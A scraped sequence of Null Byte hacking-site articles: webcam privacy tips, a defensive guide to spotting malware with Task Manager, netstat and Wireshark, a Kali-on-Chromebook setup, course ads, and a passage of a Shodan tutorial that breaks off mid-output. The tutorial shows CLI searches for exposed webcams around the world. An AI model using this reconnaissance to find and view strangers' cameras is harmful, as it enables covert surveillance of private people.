what can you do to make sure no one is peeking in on your habits in front of the computer? The easiest solution—cover your webcam up. Some laptops with built-in webcams actually have a slide cover you can use.If that's not the case, a piece of non-translucent tape should to the trick, unless you want to buy one oftheseorthesethings. And if you still have one of those old-school USB webcams, simply unplug it.We will continue to explore fun ways we can use the Meterpreter in the near future, so make sure to come back for more!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:How to Remotely Record & Listen to the Microphone on Anyone's ComputerHow To:The FBI Can Spy on Your Webcam Undetected: Here's How to Stop ThemHow To:Secretly record people with your own spy sunglassesHow To:Hack and control anyone's webcam using GoogleHack Like a Pro:How to Remotely Install an Auto-Reconnecting Persistent Back Door on Someone's PCHack Like a Pro:How to Take Control of Windows Server 2003 Remotely by Launching a Reverse ShellHow To:Mod an ordinary webcam into a super spy scopeHow To:Secretly Take Photos on Android Without Launching Your Camera AppHow To:Use the Apple Watch as a Remote Shutter for Your iPhone's CameraHack Like a Pro:How to Remotely Grab Encrypted Passwords from a Compromised ComputerHow To:Suspect Someone Is Using Your Computer? Catch Them in the Act with Just the Click of Your MouseHow To:Make an astrocam from a webcamHow To:Choose Which Microphone Your Phone Uses When Recording Video in Fimic Pro (To Capture Clearer Audio)How To:Build a Portable Pen-Testing Pi BoxHow To:Turn Your Smartphone into a Wireless Webcam with These 5 AppsNews:Catch Creeps and Thieves in Action: Set Up a Motion-Activated Webcam DVR in LinuxNews:Amazing 3D video capture using KinectNull Byte:Never Let Us DieNews:MAME Arcade cabinet+News:Xcode Ghost |
Streamline Your App & Game Development with AppGameKit « Null Byte :: WonderHowTo | It's no secret that the vast majority of Null Byte readers range from beginner to seasoned coding pros and developers. Regardless of whether you're interested primarily in building websites or creating best-selling apps and games, working with a wide variety of programming languages remains one of the best ways to make serious money in an increasingly app-driven world.But the fact that you can code doesn't mean you should be burdening yourself with extra work — especially when it comes to creating games and apps that require a much more sustained focus on visual mediums.The top-ratedComplete AppGameKit Game Creator Bundlewill help you drastically improve your workflow and cut down on your build times by giving you access to a wide range of software and design assets, and it's on sale for over 80% off its usual price at just $29.99 today.With over 150 positive reviews on Steam and a design built around theBASICscripting language, this all-in-one content and coding bundle makes it easier than ever to build pro-level games and mobile apps from scratch — meaning you'll be able to focus more on big-picture ideas and content creation.With the specialized AppGameKit tool, you'll be able to quickly code and build programs for a variety of platforms (including macOS, Windows, iOS, Android, and more), all without the need for cumbersome and distracting code that's just going to slow you down.There's also a massive trove of 2D and 3D assets that can be used for your projects without forcing you to navigate obnoxious red tape or hidden fees, and each app and tool in the bundle comes with detailed instructions that will help eliminate any learning curve.Take the headaches out of creating great games and exciting apps with the Complete AppGameKit Game Creator Bundle. Usually priced at nearly $200, this game-changing resource is on sale forjust $29.99— over 80% off for a limited time.Prices are subject to change.Don't Miss Out:The Complete AppGameKit Game Creator Bundle for $29.99Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byArian Darvishi/UnsplashRelatedHow To:Learn How to Create Fun PC & Mobile Games for Under $30How To:Expand Your Coding Skill Set by Learning How to Build Games in UnityHow To:Become a Productivity Master with Google Apps ScriptMarket Reality:Apple's AR Toolkit Is Slowly Catching on While Google & Snap Invest in More AR Development ToolsHow To:Change Your App Store Country to Download Region-Locked Apps & Games on Your iPhoneNews:If You're Curious About Creating Software for Augmented & Mixed Reality, Start HereNews:Snapchat Powers Up Its Game & Development Capabilities with PlayCanvas AcquisitionNews:Magic Leap Publishes More L.E.A.P. Developer Videos Featuring Insomniac Games, Weta Workshop & MoreHow To:Finally, a Decent Zombie Base-Building Game That You Can Play on Your iPhone Right NowNews:GDC Survey Says Developers Are Bullish on HoloLens, Slow to Mobile AR Versus VRHow To:Streamline the "Complete Action Using" Dialog Box on Your Nexus 4 or 5News:Apple Adds Multiplayer AR Spy Game 'Secret Oops' to Arcade Subscription ServiceNews:Snapchat Tilts Its AR Lenses Toward Casual Gaming with SnappablesHow To:Learn to Code Your Own Games with This Hands-on BundleNews:Microsoft Adds Spatial App Functionality to Office 365's Teams App, Android & Web Interaction DemoedNews:Freemium Games Start Their US Invasion on the iOS FrontNews:To All Aspring Game Developers In or Around Bedfordshire, UKNews:Making an RPG in 14 Days Is Child's Play for Big Block GamesNews:Friday Indie Game Review Roundup: Digital Board Games (No Assembly Required)News:MAC-Using Gamemakers Rejoice! UDK Now Compatible With MAC OS XAfterfall:InSanity Game Only $1 in Outlandish Plan to Reach 10 Million Pre-OrdersHow To:Breathe New Life into The Elder Scrolls IV: OblivionHow To:A Gamer's Guide to Video Game Software, Part 1: Unity 3DNews:Unity3D Could Change the Gaming World Now That It Has FlashNews:3 Long Awaited Indie Games at PAX That Should Be Released Already!News:No Point In Playing To Level 100!?Wonderment Blog:AR Holographic TattoosNews:Slightly Mad Studios Launches Slightly Brilliant AAA Game Funding ProjectNews:Super Mario Gets a Portal Gun in Stabyourself's Upcoming Mari0 GameAngry Birds:The Big Indie Game Success StoryMeeting the Dungeon Defenders:An Interview with Trendy EntertainmentNews:Angry Birds Get the LEGO TreatmentNews:Dragon Age 2 First ImagesNews:Dota 2 Gamers Compete in Unprecedented $1,000,000 TournamentNews:May feels like NovemberIndie Game Review Round-Up:Radical Fishing, Super Crate Box & Serious SamHow To:9 Ways to Increase Your Focus for Getting Things DoneIt's Official:Games Arrive on Google+Double Fine Productions:The Amnesia Fortnight and Indie Game PerfectionNews:Appysnap Turns iPhone Photography into Social Game (with Prizes!) |
Advice from a Real Hacker: How to Know if You've Been Hacked « Null Byte :: WonderHowTo | It seems like every day now that we see a new headline on a cyber security breach. These headlines usually involve millions of records being stolen from some large financial institution or retailer. What doesn't reach the headlines are the many individual breaches that happen millions of times a day, all over the world.Inprevious articles, I've shown you how tocreate stronger passwordsand how toprevent your home system from being compromised, but people are always asking me, "How can I tell if my system has already been hacked?"The answer to that question is not simple. Hacker software has become so sophisticated that it is often hard to detect once it has become embedded in your system. Althoughantivirus/anti-malware softwarecan often be effective in keeping your system from being infected, in many cases, once it has become infected, the software can't detect or remove the infection.The reason for this is that the best malware embeds itself in your system files and looks and acts like part of your key Windows system files. Often, it will replace a system file with itself, keeping the same file name and functionality, but adding its own functionality. In this way, it looks and acts similarly to the necessary system file that your operating system needs to function properly, only the additional functionality gives a remote hacker access to your system and system resources at their will.Why Hackers Want the Use of Your ComputerAlthough we are familiar with the idea that hackers might be seeking our credit card numbers, bank accounts, and identity, some hackers are simply seeking the use of your computer. By infecting thousands, even millions, of computers around the world, they can create what is called a "botnet."A botnet is simply a network of compromised computers controlled by a single command and control center. I estimate that 30 to 50% of all consumer-level computers are part of one botnet or another.This botnet can be used for many seemingly innocuous activities and many more malicious ones. Botnets can be used to send spam, crack passwords, conduct distributed denial of service (DDoS) attacks, etc. In all cases, they are using system resources that are not available to you. You will likely detect your own system running sluggishly or erratically.Let's take a look at how we can detect if such a security breach has taken place on YOUR system.Step 1: Run Antivirus SoftwareNOTE:While antivirus and anti-malware software can differ in what they detect, I'll be referring to both collectively as antivirus (or AV) throughout this article. It's good to make sure you have one that detects both viruses and malware including trojans, worms, spyware,rootkits,keyloggers, etc.There are many pieces of good antivirus software on the market. The problem is that even the very best will not detect over 5 to 10% of all known malware. Then, there is theunknownmalware that comes out every day. Hackers are always developing new software, usually variants of existing malware, but different enough to evade the signature detection of these software developers. In these cases, your AV software is useless.Despite this, I still recommend that you buy a reputable brand of AV software and keep it up to date. Those updates are critical as they represent the signatures of the new hacking software that is found in the "wild." Enable this software to do "active detection" and response, as once the malware has embedded itself on your computer, it is sometimes impossible to detect and remove.Although it's hard for the average consumer to evaluate AV software and every software developers claims to be the best, there is a objective laboratory that does evaluate the effectiveness of AV software. It's known as theVirus Bulletinand you can see its resultshere. The chart below is from their latest results evaluating numerous software. As you can see, AV software is NOT created equal.In the two systems I will use in this article, both had been through a deep AV scan of the entire hard drive. In both cases, no malware or viruses were detected, but I was still suspicious of infection.Step 2: Check Task ManagerThe first thing to check when you suspect that you have been hacked is your Windows Task Manager. You can access it by hitting Ctrl+Alt+Del on your keyboard and selecting Task Manager at the bottom of the menu that pops up, or just type Task Manager in the run line of your Start menu.When you open the Task Manager and click on the "Processes" tab, you should get a window similar to the one below. Note at the bottom the CPU usage. In this infected machine, the system is sitting idle and CPU usage is spiking near 93%! Obviously, something is going on in this system.Below, you will see the same Task Manager on an uninfected system. With the system idle, CPU usage is under 10%.Step 3: Check System Integrity Checker in WindowsNow that we know something is awry on our system, let's delve a bit deeper to see if we can identify it.Very often, malware will embed itself into the system files which would explain why the AV software couldn't detect or remove it. Microsoft builds a system integrity checker into Windows calledsfc.exethat should be able to test the integrity of these system files. From Microsoft's documentation, it describes this utility saying:"System File Checker is a utility in Windows that allows users to scan for corruptions in Windows system files and restore corrupted files."The idea here is that this tool or utility checks to see whether any changes have been made to the system files and attempts to repair them. Let's try it out. Open a command prompt by right-clicking and chooseRun as Administrator. Then type the following command (make sure to press Enter afterward).sfc /scannowAs you can see from the above screenshot, the malware remains hidden even from this tool.Step 4: Check Network Connections with NetstatIf the malware on our system is to do us any harm, it needs to communicate to the command and control center run by the hacker. Someone, somewhere, must control it remotely to get it to do what they want and then extract want they want.Microsoft builds a utility into Windows callednetstat. Netstat is designed to identify all connections to your system. Let's try using it to see whether any unusual connections exist.Once again, open a command prompt and use the following command.netstat -anoSince a piece of malware embedded into the system files can manipulate what the operating system is actually telling us and thereby hide its presence, this may explain why nothing unusual showed up in netstat. This is one more indication of how recalcitrant some of this malicious malware can be.Step 5: Check Network Connections with WireSharkIf we can install a third-party software for analyzing the connections to our computer, we may be able to identify the communication to and from our computer by some malicious entity. The perfect piece of software for this task is calledWireshark.Wireshark is a free, GUI-based tool that will display all the packets traveling into and out of our computer. In this way, we might be able to identity that pesky malware that is using up all our CPU cycles and making our system so sluggish.Since Wireshark is an application and not part of the Windows system, it is less likely to be controlled and manipulated by the malware. You can download Wiresharkhere. Once it has been installed, click on you active interface and you should see a screen open like that below.Wireshark then can capture all the packets traveling to and from your system for later analysis.The key here is to look for anomalous packets that are not part of your "normal" communication. Of course, it goes without saying that you first should have an idea of what is "normal."If you haven't looked at your normal communication, you can then filter packets to only look at a subset of all your communication. As attackers often use high number ports to evade detection, you can filter for, say ports 1500-60000. If you have malicious communication taking place, it will likely appear in that port range. Furthermore, let's just look for trafficleavingour system to see whether the malware is "phoning home" on one of those ports.We can create a filter in Wireshark by typing it into the Filter window beneath the main menu and icons. Filters in Wireshark are a separate discipline entirely and beyond the scope of this article, but I will walk you through a simple one for this purpose here.In this case here, my IP address is 192.168.1.103, so I type:ip.src ==192.168.1.103This filter will only show me traffic FROM my system (ip.src). Since I also want to filter for ports above 1500 and below 60000, I can add:and tcp.port > 1500 and tcp.port < 60000The resulting filter will only show me traffic that meets all of these conditions, namely, it should be:Coming from my IP address (ip.src == 192.168.1.103)Coming from one of my TCP ports above 1500 (tcp.port > 1500)Coming from one of my TCP ports below 60000 (tcp.port < 60000)When I type all of this into the filter window, it turns from pink to green indicating my syntax is correct like in the screenshot below.Now click on theApplybutton to the right of the filter window to apply this filter to all traffic. When you do so, you will begin to filter for only the traffic that meets these conditions.Now the key is to look for unusual traffic here that is not associated with "normal" traffic from your system. This can be challenging. To identify the malicious traffic, you will need to type the unknown IP addresses that your machine is communicating with (see the IP addresses in the box) into your browser and check to see whether it is a legitimate website. If not, that traffic should be immediately viewed with some skepticism.Detecting whether your computer is infected with malware is not necessarily a simple task. Of course, for most, simply relying on antivirus software is the best and simplest technique. Given that this software is imperfect, some of the techniques outlined here may be effective in determining whether you have really been hacked or not.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaShutterstockRelatedNews:'Turkish Crime Family' Demands $75,000 in Bitcoin from Apple in Exchange for Hacked iPhone AccountsTypoGuy Explaining Anonymity:A Hackers MindsetHow To:Keeping Your Hacking Identity SecretA Hackers Advice & Tip:Choosing Your Path. Knowing Where to Learn & How to Learn It **Newbies Please Read**White Hat Hacking:Hack the Pentagon?How To:The Five Phases of HackingNews:Apple Says iPhone & iCloud Are Safe After Claimed Breach by 'Turkish Crime Family'News:A Game of Real HackingNews:How to Study for the White Hat Hacker Associate Certification (CWA)Advice from a Real Hacker:The Top 10 Best Hacker MoviesAdvice from a Real Hacker:How to Protect Yourself from Being HackedAdvice from a Real Hacker:How to Create Stronger PasswordsHow To:ALL-in-ONE HACKING GUIDEHow To:The Essential Skills to Becoming a Master HackerGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsNews:Student Sentenced to 8mo. in Jail for Hacking FacebookCommunity Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsGoodnight Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 2 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 1 - Real Hacking SimulationsWTFoto Image Macro Challenge:Give Us Your Best Hobo Advice!How To:How Hackers Take Your Encrypted Passwords & Crack ThemNews:Anonymous Hackers Replace Police Supplier Website With ‘Tribute to Jeremy HammHow To:Noob's Introductory Guide to Hacking: Where to Get Started?Goodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingNews:More Jackass on MOVIESNews:Dont Talk to StrangersGoodnight Byte:HackThisSite, Realistic 2 - Real Hacking SimulationsNews:Hydration Advice for SportsGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingGoodnight Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsNews:Indie and Mainstream Online Games Shut Down by LulzSec |
Chrome OS = Your New PenTesting Tool « Null Byte :: WonderHowTo | This is my first how-to for this site so feel free to let me know if I can somehow improve!Inspired by the great Jailbroken iDevice and Rooted Android PenTesting tutorials I decided to share how I use my Toshiba Chromebook 2 with Kali Sana.Chromebooks have a couple of benefits over traditional laptops. They're extremely light and are nice and cheap! The Toshiba Chromebook 2 which I use retails for around 300$.With a little bit of tinkering you can get Kali set up on your Chromebook and start hacking away. To do this we will use crouton, an excellent project that you can find on GitHub:https://github.com/dnschneid/croutonStep 1: Put Your Chromebook into Developer ModeThere are plenty of guides on how to do this online so I'm just going to link to a good one:http://www.howtogeek.com/210817/how-to-enable-developer-mode-on-your-chromebook/Step 2: Download CroutonGo to the crouton GitHub page and download the crouton file:https://github.com/dnschneid/croutonMake sure the crouton file is in your downloads folder.Step 3: Install the Crouton ExtensionInstall the crouton extension from the Chrome Webstore. It greatly improves crouton functionality with features like clipboard sharing and the Linux OS running in a window.https://chrome.google.com/webstore/detail/crouton-integration/gcpneefbbnfalgjniomfjknbcgkbijom?utm_source=chrome-app-launcher-info-dialogStep 4: Install Kali SanaTypectrl+alt+tto open a crosh shell. Now typeshelland hit enter to get a chronos shell.Type:sudo sh ~/Downloads/crouton -r sana -t extension,xiwi,kdeOptionally add the following flags:-efor full disk encryption-k /PATH-TO-STORE-KEYFILE/KEYFILE-NAMErequire keyfile to start (best when combined with -e)-p /PATH-TO-REMOVABLE-MEDIA/installs Kali Sana on a removable device.I installed Sana on an SD card to take advantage of the larger storage capacity available. Many Chromebooks only have 16GB of storage which is not enough for a fully decked out Kali installation. Using the -e and -k flags greatly increases the security of the installation. Also make sure to format the SD Card to ext4 prior to installation.After executing the command, follow the on screen instructions to install Kali. This process may take quite some time, so get a snack and feel free to browse the web while you wait.Step 5: Start Your New OS!Now that Sana is installed, you can enter it by typingsudo sh startkde -n sana.If you installed to an SD Card you will need to type the full path of the file. It will be in/PATH-TO-REMOVABLE-MEDIA/bin/.This should start Kali. The chrome extension should automatically connect, and you should have your OS open in a nice window! If the window is black at first, wait a bit and try re-sizing it a couple of times.Step 6: Configure the OSYou can now install Kali Metapackages and any other software you may need.We're Done!Congratulations, you now have Kali Sana running on your Chromebook! Keep reading for a couple of tips that may smooth out your experience.Tips and TricksSD Card idle lid suspend fixIf you installed Sana on an SD Card like I did, you will experience problems with idle lid suspend while running crouton. This is due to the fact that Chrome OS sometimes ejects SD cards when the lid is closed, thereby making crouton crash. There is some great information on the crouton GitHub page on how to fix this. The easiest way being to disable idle lid suspend while crouton is running. This way only the screen will turn off while Chrome OS will keep running. This stops your SD Card from getting ejected. Here's the script you can use to start Sana with this modification:https://github.com/dnschneid/crouton/wiki/Power-manager-overridesYou will have to modify the part of the script that actually starts Sana by adding the startup command you used in Step 5.Notes on airmon-ngIf you Chromebook has a compatible wifi card you'll be able to use the aircrack-ng suite for pentesting. My Toshiba Chromebook 2 works well with this, the only problem being that when finished and airmon-ng is stopped, it does not rename your wireless device back to what it was before. This is an issue as Chrome OS will not recognize the wireless device and you will not have internet access. To solve this you can either restart you computer, or you can manually rename the interface:sudo iw dev wlan0mon delsudo iw phy phy0 interface add wlan0 type managedThese commands will vary depending on the name of you wireless interface.Notes on external wireless adaptersThis is the only downside of running Sana through crouton on Chrome OS. As it shares the Chrome OS kernel, most external wireless adapters will not register. Some people have apparently gotten select cards to work, but I have not been so lucky. The only solution to this is enabling USB-Boot and booting from a Live Kali USB when you need multiple network cards.That's It Folks!Hope you enjoyed my tutorial. Feel free to leave suggestions and any questions you may have below. I'll try to answer any that come up.~The PacifistWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Apps & Extensions You Should Be Using Right Now in ChromeHacking Android:How to Create a Lab for Android Penetration TestingHow To:Enable Google Chrome's Secret (And Possibly Dangerous) Experimental FeaturesNews:My Review on Kali 2.0How To:Operate Google Chrome without changing your PCNews:What Google's Upcoming Andromeda OS Means for Android & ChromebooksMy OS:Bugtraq II Black WidowHow To:Links to Help You HackingHow To:Resize Picture-in-Picture Mode on Your ChromebookHow To:Install and run Google Chrome OS with Virtual MachineHow To:Convert Your Favorite Android Apps into Chrome AppsHow To:Install Google Chrome OSHack Like a Pro:How to Create a Smartphone Pentesting LabHow To:Run Your Favorite Android Apps on Your ComputerHow To:Trick Websites into Thinking You're on a Different OS or BrowserHow to Install Remix OS:Android on Your ComputerHow To:Install Google Chrome OS on a Flash driveHow To:Top 10 Browser Extensions for Hackers & OSINT ResearchersHow To:Use the Chrome Browser Secure Shell App to SSH into Remote DevicesHow To:iDevice Jailbroken = Your New PenTesting Tool.How To:Run Android Apps on Chrome for Windows, Mac, & LinuxHow To:Adobe Flash Player Is Bad for Your Computer (Here's How You Uninstall It)How To:Clear Your Cache on Any Web BrowserNews:Google Chrome Web Store Gets New LookHow To:Hide the Facebook News Ticker in Firefox and Google ChromeHow To:Search for Google+ Profiles and Posts Using Chrome's Search Engine SettingsHow To:Search for Google+ Posts & Profiles with GoogleHow To:This Tool Will Make Your Buggy Chrome Browser Run Like New AgainNews:Getting to Know Google's Community ManagersHow To:Install Linux to a Thumb DrivePrivate Browsing:A How-To for Firefox, Chrome & Internet ExplorerNews:MAC OS X on PC for REALzZz, My FriendzZz...! |
Learn to Code Your Own Games with This Hands-on Bundle « Null Byte :: WonderHowTo | We've shared a capture-the-flag game forgrabbing handshakes and cracking passwords for Wi-Fi, and there are some upcoming CTF games we plan on sharing for other Wi-Fi hacks and even a dead-drop game. While security-minded activities and war games are excellent ways to improve your hacking skills, coding a real video game is also an excellent exercise for improving your programming abilities.Thorough knowledge of the world's most powerful programming languages isn't just useful for working in a wide range of tech and IT environments, such as cybersecurity, it's also a prerequisite for creating your very own games in the comfort of your own home. You'll also need some solid programming know-how to reverse engineer games and find zero-day vulnerabilities andother bugsin them.Image viastackassets.comSo, whether you're interested in casually crafting a fully-customized video game in your spare time, finding loopholes in a popular game's backend, or looking to turn your compound love of gaming and development into a full-fledged career, you need to have an in-depth understanding of how to apply languages likeC++to your builds.TheHands-On Game Development Bundle: Make Your Own Gamesbundle comes loaded with ten courses and 12 hours of detailed instruction that will teach you how to create a wide range of pro-level games regardless of your previous experience, and it's on sale for over 95% off at just $34.99.With over 160 lessons taught by industry pros, the training package will outfit you with the skills and tools you need to build detailed 2D, 3D, and multiplayer games that span multiple genres, so you can be on your way to developing games in the spirit of "Hacknet," "Cyberpunk 2077," and "Watch Dogs: Legion."You'll learn how to build micro-strategy games through lessons that focus on everything from UI construction to multiplayer networking; web games through instruction that concentrates on creatingAPI frameworksusing Node.js and Express; open-source gaming environments through lessons that walk you through everything from character development to 3D animation; and more.The bundle also covers all of the necessary code you'll need to bring your games to life — including C++ and Java — and there are plenty of lessons that are devoted to teaching you about every element of the go-toUnitydevelopment platform as well.There's even a dedicated segment that shows you how to both build and optimize games for mobile use, through easy-to-follow lessons that teach you how to build for both iOS and Android platforms using a combination of Unity and standalone coding environments. Now's your chance to top mobile hacking games like "Hack Ex" and "Hack Run."Turn your love of gaming and programming into a rewarding career with the Hands-On Game Development Bundle: Make Your Own Games bundle while it's on sale forjust $34.99— over 95% off its usual price right now.Prices are subject to change.Get Your Game On:Hands-On Game Development Bundle: Make Your Own Games for $34.99Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo byhitesh choudhary/PexelsRelatedHow To:Expand Your Coding Skill Set by Learning How to Build Games in UnityDeal Alert:Learn to Code for Only $39 While You're Stuck at HomeHow To:Streamline Your App & Game Development with AppGameKitHow To:Learn How to Create Fun PC & Mobile Games for Under $30How To:Learn C# & Start Designing Games & AppsHow To:Learn to Design Games with Unity for Just $39.99How To:Gain Experience Coding for a Price You DecideHow To:Learn the Most Used Coding Languages for $30Deal Alert:Learn the Basics of C++, Node.js, Adobe Mixamo & Unity for the Price of a ChromecastHow To:Expand Your Coding Skill Set with This 10-Course Training BundleHow To:Design Your Own Video Games with This Pay What You Want BundleHow To:Get a Free PC Version of Metro 2033 for Liking the New Metro: Last Night Game on FacebookHow To:Create the Next Big Video Game by Learning Unity 2D with This Course Bundle, Now 98% OffHow To:Spur Your Child's Interest in STEM with This Discounted ToyHow To:The Humble THQ Bundle Is Out Just in Time for Christmas—7 Games for Any Price You Want!How To:Practice Using Essential Tools of the IT Trade with This Value BundleDeal Alert:StackSocial's Freebie Bundle Sale Gives You 8 Totally Free Mac AppsHow To:Learn to Write Code from Scratch for Under $30How To:Break into the Lucrative World of Ethical Hacking with This Reasonably Priced Course BundleHow To:Learn How to Play the Market with This Data-Driven Trading BundleHow To:Master Python, Django, Git & GitHub with This BundleHow To:Learn to Code with a Bundle That Fits Your ScheduleHow To:Learn to Code for Less Than $40How To:This $1,300 Ethical Hacking Bundle Is on Sale for $40 TodayNews:Indie Game Music Bundle (Including Minecraft)Afterfall:InSanity Game Only $1 in Outlandish Plan to Reach 10 Million Pre-OrdersNews:It's Humble Indie Bundle Time! 5 Games for 'Name Your Price'News:The Humble Bundle Strikes Again with a "Frozen" ThemeNews:Price Drop! Xbox 360 Arcade now $149!News:Kinect Price Revealed; Sony Move ComparisonNews:Name your price for 5 gamesPygame:All You Need to Start Making Games in PythonHow To:How The Internet WorksNews:Special Edition Gold PS3 'Ni No Kuni' Bundle -- Another Reason to Move to JapanHow To:This Master Course Bundle on Coding Is Just $34.99How To:Score Free Game Product Keys with Social EngineeringNews:Seize the Lightning! Carpe Fulgur Imports Japanese Indie Games to the U.S.News:Friday Indie Game Review Roundup: A Steamtastic BonanzaNews:Enter the Weird World of Hojamaka GamesHow To:enter a coupon code |
How to Find Vulnerable Webcams Across the Globe Using Shodan « Null Byte :: WonderHowTo | Search engines index websites on the web so you can find them more efficiently, and the same is true for internet-connected devices.Shodanindexes devices like webcams, printers, and even industrial controls into one easy-to-search database, giving hackers access to vulnerable devices online across the globe. And you can search its database via its website or command-line library.Shodan has changed the way hackers build tools, as it allows for a large part of the target discovery phase to be automated. Rather than needing to scan the entire internet, hackers can enter the right search terms to get a massive list of potential targets. Shodan's Python library allows hackers to quickly write Python scripts that fill in potential targets according to which vulnerable devices connect at any given moment.You can imagine hunting for vulnerable devices as similar to trying to find all the pages on the internet about a specific topic. Rather than searching every page available on the web yourself, you can enter a particular term into a search engine to get the most up-to-date, relevant results. The same is true for discovering connected devices, and what you can find online may surprise you!Step 1: Log in to ShodanFirst, whether using the website or the command line, you need to log in toshodanhq.comin a web browser. Although you can use Shodan without logging in, Shodan restricts some of its capabilities toonlylogged-in users. For instance, you can only view one page of search results without logging in. And you can only see two pages of search results when logged in to a free account. As for the command line, you will need your API Key to perform some requests.Step 2: Set Up Shodan via Command Line (Optional)A particularly useful feature of Shodan is that you don't need to open a web browser to use it if you know your API Key. To install Shodan, you'll need to have a working Python installation. Then, you can type the following in a terminal window to install the Shodan library.~$ pip install shodan
Collecting shodan
Downloading https://files.pythonhosted.org/packages/22/93/22500512fd9d1799361505a1537a659dbcdd5002192980ad492dc5262717/shodan-1.14.0.tar.gz (46kB)
100% |████████████████████████████████| 51kB 987kB/s
Requirement already satisfied: XlsxWriter in /usr/lib/python2.7/dist-packages (from shodan) (1.1.2)
Requirement already satisfied: click in /usr/lib/python2.7/dist-packages (from shodan) (7.0)
Collecting click-plugins (from shodan)
Downloading https://files.pythonhosted.org/packages/e9/da/824b92d9942f4e472702488857914bdd50f73021efea15b4cad9aca8ecef/click_plugins-1.1.1-py2.py3-none-any.whl
Requirement already satisfied: colorama in /usr/lib/python2.7/dist-packages (from shodan) (0.3.7)
Requirement already satisfied: requests>=2.2.1 in /usr/lib/python2.7/dist-packages (from shodan) (2.21.0)
Building wheels for collected packages: shodan
Running setup.py bdist_wheel for shodan ... done
Stored in directory: /root/.cache/pip/wheels/fb/99/c7/f763e695efe05966126e1a114ef7241dc636dca3662ee29883
Successfully built shodan
Installing collected packages: click-plugins, shodan
Successfully installed click-plugins-1.1.1 shodan-1.14.0Then, you can see all the available options-hto bring up the help menu.~$ shodan -h
Usage: shodan [OPTIONS] COMMAND [ARGS]...
Options:
-h, --help Show this message and exit.
Commands:
alert Manage the network alerts for your account
convert Convert the given input data file into a different format.
count Returns the number of results for a search
data Bulk data access to Shodan
domain View all available information for a domain
download Download search results and save them in a compressed JSON...
honeyscore Check whether the IP is a honeypot or not.
host View all available information for an IP address
info Shows general information about your account
init Initialize the Shodan command-line
myip Print your external IP address
org Manage your organization's access to Shodan
parse Extract information out of compressed JSON files.
radar Real-Time Map of some results as Shodan finds them.
scan Scan an IP/ netblock using Shodan.
search Search the Shodan database
stats Provide summary information about a search query
stream Stream data in real-time.
version Print version of this tool.These controls are pretty straightforward, but not all of them work without connecting it to your Shodan API Key. In a web browser, log in to your Shodan account, then go to "My Account" where you'll see your unique API Key. Copy it, then use theinitcommand to connect the key.Don't MissHow to Use the Shodan API with Python to Automate Scans for Vulnerable Devices (Like Mr. Robot)~$ shodan init XXXXxxxxXXXXxxXxXXXxXxxXxxxXXXxX
Successfully initializedStep 3: Search for Accessible WebcamsThere are many ways to find webcams on Shodan. Usually, using the name of the webcam's manufacturer or webcam server is a good start. Shodan indexes the informationin the banner, not the content, which means that if the manufacturer puts its name in the banner, you can search by it. If it doesn't, then the search will be fruitless.One of my favorites iswebcamxp, a webcam and network camera software designed for older Windows systems. After typing this into the Shodan search engine online, it pulls up links to hundreds, if not thousands, of web-enabled security cameras around the world.To do this from the command line, use thesearchoption. (Results below truncated.)~$ shodan search webcamxp
81.133.███.███ 8080 ████81-133-███-███.in-addr.btopenworld.com
HTTP/1.1 200 OK\r\nConnection: close\r\nContent-Type: text/html; charset=utf-8\r\nConten t-Length: 7313\r\nCache-control: no-cache, must revalidate\r\nDate: Tue, 06 Aug 2019 21:39:29 GMT\r\nExpires: Tue, 06 Aug 2019 21:39:29 GMT\r\nPragma: no-cache\r\nServer: webcamXP 5\r\n\r\n
74.218.███.██ 8080 ████-74-218-███-██.se.biz.rr.com
HTTP/1.1 200 OK\r\nConnection: close\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: 7413\r\nCache-control: no-cache, must revalidate\r\nDate: Wed, 07 Aug 2019 14:22:02 GMT\r\nExpires: Wed, 07 Aug 2019 14:22:02 GMT\r\nPragma: no-cache\r\nServer: webcamXP 5\r\n\r\n
